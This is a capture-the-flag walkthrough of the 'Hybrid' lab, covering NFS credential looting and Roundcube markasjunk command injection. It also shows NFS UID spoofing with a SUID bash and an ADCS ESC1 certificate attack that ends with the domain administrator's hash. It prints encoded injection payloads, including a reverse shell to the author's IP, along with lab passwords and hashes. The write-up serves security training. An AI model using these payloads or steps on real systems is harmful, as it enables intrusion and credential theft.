Hybrid is an Active Directory chain containing a Windows machine and a Linux machine. Initial access is gained by compromising the Linux machine, then the domain can be compromised using an ADCS attack.

Enumeration

We start by running an nmap scan on the ips provided.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
┌──(kali㉿kali)-[~/ctf/vulnlab/hybrid]
└─$ nmap -A -iL ips
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-26 15:05 EDT
Nmap scan report for 10.10.186.150
Host is up (0.11s latency).
Not shown: 990 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 60:bc:22:26:78:3c:b4:e0:6b:ea:aa:1e:c1:62:5d:de (ECDSA)
|_ 256 a3:b5:d8:61:06:e6:3a:41:88:45:e3:52:03:d2:23:1b (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: mail01.hybrid.vl, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, AUTH PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, CHUNKING
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Redirecting...
|_http-server-header: nginx/1.18.0 (Ubuntu)
110/tcp open pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: STLS PIPELINING RESP-CODES TOP CAPA UIDL AUTH-RESP-CODE SASL
| ssl-cert: Subject: commonName=mail01
| Subject Alternative Name: DNS:mail01
| Not valid before: 2023-06-17T13:20:17
|Not valid after: 2033-06-14T13:20:17
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3.4 2049/tcp nfs
| 100003 3.4 2049/tcp6 nfs
| 100005 1,2,3 36457/tcp6 mountd
| 100005 1,2,3 40455/udp mountd
| 100005 1,2,3 42636/udp6 mountd
| 100005 1,2,3 58353/tcp mountd
| 100021 1,3,4 32925/tcp nlockmgr
| 100021 1,3,4 40172/udp6 nlockmgr
| 100021 1,3,4 42157/tcp6 nlockmgr
| 100021 1,3,4 57329/udp nlockmgr
| 100024 1 36369/tcp6 status
| 100024 1 45195/udp status
| 100024 1 46151/udp6 status
| 100024 1 55259/tcp status
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/tcp6 nfs_acl
143/tcp open imap Dovecot imapd (Ubuntu)
|_imap-capabilities: SASL-IR listed more post-login ID Pre-login capabilities IMAP4rev1 STARTTLS LOGIN-REFERRALS OK IDLE LOGINDISABLEDA0001 LITERAL+ ENABLE have
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mail01
| Subject Alternative Name: DNS:mail01
| Not valid before: 2023-06-17T13:20:17
|Not valid after: 2033-06-14T13:20:17
587/tcp open smtp Postfix smtpd
|_smtp-commands: mail01.hybrid.vl, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, AUTH PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, CHUNKING
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mail01
| Subject Alternative Name: DNS:mail01
| Not valid before: 2023-06-17T13:20:17
|Not valid after: 2033-06-14T13:20:17
|_imap-capabilities: SASL-IR listed more AUTH=LOGINA0001 IDLE Pre-login post-login IMAP4rev1 capabilities LOGIN-REFERRALS OK AUTH=PLAIN ID LITERAL+ ENABLE have
995/tcp open ssl/pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mail01
| Subject Alternative Name: DNS:mail01
| Not valid before: 2023-06-17T13:20:17
|Not valid after: 2033-06-14T13:20:17
|_pop3-capabilities: SASL(PLAIN LOGIN) PIPELINING RESP-CODES TOP CAPA UIDL AUTH-RESP-CODE USER
2049/tcp open nfs_acl 3 (RPC #100227)
Service Info: Host: mail01.hybrid.vl; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 2 IP addresses (1 host up) scanned in 78.01 seconds

We can see that there seems to be a Windows machine and a Linux machine, which suggests that we’re probably dealing with a Linux machine on the domain.

The Windows machine is the domain controller because its Netbios name is dc01.hybrid.vl, which means that we must first compromise the Linux machine.

Thanks to the nmap scan, we can see that there’s a Web server on port 80, and when we access it, we’re redirected to mail01.hybrid.vl. So, when I modify the hosts file on my machine, I come across the Roundcube connection page.

NFS shares

As I didn’t have any valid credentials to access the mail server, I tried to obtain credentials from the NFS shares

NFS (Network File System) is a file-sharing service just like CIFS (which is almost equivalent to SMB). With NFS, we have to mount the shares accessible on the remote server on our machine in order to access them.

To see the different NFS mounts available, we can query the server with the following command: showmount -e 10.10.186.150.
This will show us the available mounts and the ips authorized to mount them:

1
2
Export list for 10.10.186.150:
/opt/share *

This means that you must be able to access the /opt/share share content by mounting it locally:
sudo mount -t nfs -o vers=3 10.10.186.150:/opt/share /mnt/tmpmnt -o nolock

  • mount -t nfs` mounts an NFS share
  • -o vers=3: NFS version used based on nmap scan
  • 10.10.186.150:/opt/share /mnt/tmpmnt: mounts everything in /opt/share to the /mnt/tmpmnt folder on our local machine
  • -o nolock: disables file locking, which prevents binaries on the NFS share from freezing on execution

In the /mnt/tmpmnt folder, we find a file named backup.tar.gz. It can be extracted with tar -xzf backup.tar.gz.
This gives us access to the etc and opt directories contained in the archive.
By browsing through the files, we can find a file that seems to contain connection identifiers for Roundcube: /etc/docecot/dovecot-users.

1
2
[email protected]:{plain}Duckling21
[email protected]:{plain}PeterIstToll!

Using these identifiers, we can connect to the Roundcube instance.

MarkasJunk RCE

While exploring the interface, I came across an e-mail that admin sent to peter.turner saying that he had activated a Junk plugin on the server.

After some research, I found a CVE that allows remote command execution by modifying the user, sending a mail and then moving the mail to the junk folder. https://ssd-disclosure.com/ssd-advisory-roundcube-markasjunk-rce/

In short, an arbitrary command can be executed under the user’s name due to a lack of filtering when the e-mail is analyzed by this version of RoundCube. We can execute the command by surrounding it with & in our e-mail address, which RoundCube does not interpret correctly.

To exploit the vulnerability, go to Compose > Edit Identities. You can then try directly: admin&curl http://10.8.0.173:9001/@hybrid.vl Except that Roundcube refuses, saying that the e-mail address is invalid.
Instead of looking for blacklisted characters, we’ll encode our command in base64 and encode special characters in URL. This can be done by intercepting the request with Burp and editing the email value.

For example, to execute: curl http://10.8.0.173 , we obtain the unencoded payload admin&echo${IFS}Y3VybCBodHRwOi8vMTAuOC4wLjE3Mzo5MDAxLwo=|base64${IFS}-d|bash&@hybrid.vl which gives admin%26echo${IFS}Y3VybCBodHRwOi8vMTAuOC4wLjE3Mzo5MDAxLwo%3d|base64${IFS}-d|bash%26%40hybrid.vl once encoded.

Once the request has been sent, we see that our e-mail address is accepted despite the special characters.

To check that the command has been executed correctly, I launch a python server with python3 -m http.server 9001 and write a test mail:

Then, after sending the e-mail and putting it in the recycle garbage can, I get a request on my python server, which means that I can execute commands on the server.
For example, you can get a reverse shell with the following command: admin&echo${IFS}c2ggLWkgPiYgL2Rldi90Y3AvMTAuOC42LjgwLzQ0NDQgMD4mMQ==${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash&@hybrid.vl

Exploiting the internal NFS mount

A look at the NFS configuration in /etc/exports shows the following configuration:

1
2
3
4
5
6
7
8
9
10
11
12
$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/opt/share *(rw,no_subtree_check)

Normally, for NFS shares, we use the no_root_squash option for privilege escalation, but here we’re interested in the rw (read/write) flag. https://www.hackingarticles.in/linux-privilege-escalation-using-misconfigured-nfs/

The idea is to exploit the fact that the user [email protected] has the UID 902601108.

1
2
3
www-data@mail01:~/roundcube$ id [email protected]
id [email protected]
uid=902601108([email protected]) gid=902600513(domain [email protected]) groups=902600513(domain [email protected]),902601104([email protected])

If we create a local user with the same UID, then NFS will let us run files in the context of this remote user. In effect, we can then exploit the /bin/bash binary by setting the SUID to execute it in the context of peter.turner.
To do this, follow these steps:

  • Remote host: cp /bin/bash /opt/share/
    • Copy /bin/bash to the NFS share
  • Local: sudo useradd [email protected] -u 902601108
    • Create a user named [email protected] with the same UID as that of the remote machine
    • We must first modify /etc/login.defs and change UID_MAX to a value greater than 902601108.
  • Local: sudo su -l [email protected]
  • Local: cp /mnt/tmpmnt/bash /tmp/tmpbash/
    • Copy bash binary to a temporary folder to reset binary permissions
  • Remote host: rm /opt/share/bash
    • Delete executable on remote machine to replace binary with new one
  • Local Host: cp /tmp/tmpbash/bash /mnt/tmpmnt/
    • Copy our executable to the NFS share
  • Local Host: chmod +s /mnt/tmpmnt/bash
    • We set the suid bit on the executable, allowing any user to run it with the context of the user to whom the binary belongs.
  • Remote: /opt/share/bash -p
    • Launch bash with -p, which allows you to launch it in privilege mode. This means that it will set the effective UID to the real UID and the binary will run with the same permissions as its owner.
      By following these steps, we obtain a shell as [email protected] :

Retrieving a KDBX file

The passwords.kdbx file can be found in the user’s directory, using the password retrieved previously. It can be opened and the password for the peter.turner account retrieved:

ESC1 ADCS Exploitation

ADCS (Active Directory Certificate Services) is a server role that adds a certificate management infrastructure (PKI) to an Active Directory environment. This enables the use of security mechanisms such as domain-wide public key encryption.
If misconfigured, ADCS can contain security vulnerabilities that allow an attacker to request a certificate on behalf of another user, including a privileged user such as an administrator.
These certificates can then be used to authenticate to the domain as if you were another person.
To search for vulnerable certificate templates, you can use certipy with the following command:
certipy-ad find -u [email protected] -p b0cwR+G4Dzl_rw -stdout -old-bloodhound -vulnerable -dc-ip 10.10.238.5
This will return the vulnerable HybridComputers template:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Certificate Templates
0
Template Name : HybridComputers
Display Name: HybridComputers
Certificate Authorities : hybrid-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : None
Private Key Flag : 16842752
Extended Key Usage : Client Authentication
Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 100 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 4096
Permissions
Enrollment Permissions
Enrollment Rights : HYBRID.VL\Domain Admins
HYBRID.VL\Domain Computers
HYBRID.VL\Enterprise Admins
Object Control Permissions
Owner : HYBRID.VL\Administrator
Write Owner Principals : HYBRID.VL\Domain Admins
HYBRID.VL\Enterprise Admins
HYBRID.VL\Administrator
Write Dacl Principals : HYBRID.VL\Domain Admins
HYBRID.VL\Enterprise Admins
HYBRID.VL\Administrator
Write Property Principals : HYBRID.VL\Domain Admins
HYBRID.VL\Enterprise Admins
HYBRID.VL\Administrator
[!] Vulnerabilities
ESC1 : 'HYBRID.VL\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication

We can see that the template is vulnerable to an ESC1. This indicates that domain computers can enroll themselves, supply the subject name (i.e. the targeted user) and that the template allows client authentication. In plain English, this means that any computer in the domain can request a certificate on behalf of any user on the network.

Using bloodhound, we can see that the best way to exploit this vulnerability is to use the mail01 machine account (on which you are root). To be able to see this on BloodHound, don’t forget to add the custom queries https://raw.githubusercontent.com/ly4k/Certipy/main/customqueries.json in ~./config/bloodhound/customqueries.json.

Since we are root on the MAIL01 machine, which is a member of the domain, we can retrieve the NTLM hash of the computer account by accessing the /etc/krb5.keytab file.

You can then use keytabextract to decrypt the file. https://github.com/sosdave/KeyTabExtract

Next, we can use the NTLM hash of the machine account to request a certificate certipy-ad req -u 'MAIL01$' -hashes ":0f916c5246fdbc7ba95dcef4126d57bd" -dc-ip "10.10.238.5" -ca 'hybrid-DC01-CA' -template 'HYBRIDCOMPUTERS' -upn 'administrator' -target 'dc01.hybrid.vl'

But we get this error:

1
2
3
Certipy v4.8.2 - by Oliver Lyak (ly4k) /usr/lib/python3/dist-packages/certipy/commands/req.py:459: SyntaxWarning: invalid escape sequence '\(' "(0x[a-zA-Z0-9]+) \([-]?[0-9]+ ",
[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094811 - CERTSRV_E_KEY_LENGTH - The public key does not meet the minimum size required by the specified certificate template

By default, certipy uses a public key with a size of 2048, whereas in our case, the key size is 4096, as can be seen by analyzing the fullchain.pem file with openssl x509 -in fullchain.pem -noout -text.

By adding the key length to the command, we obtain the certificate:

This can then be used to retrieve the NT hash of the domain administrator account:

1
2
3
4
5
6
7
8
└─$ certipy-ad auth -pfx 'administrator.pfx' -username 'administrator' -domain 'hybrid.vl' -dc-ip 10.10.238.5
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:60701e8543c9f6db1a2af3217386d3dc

And we can retrieve the NTDS database: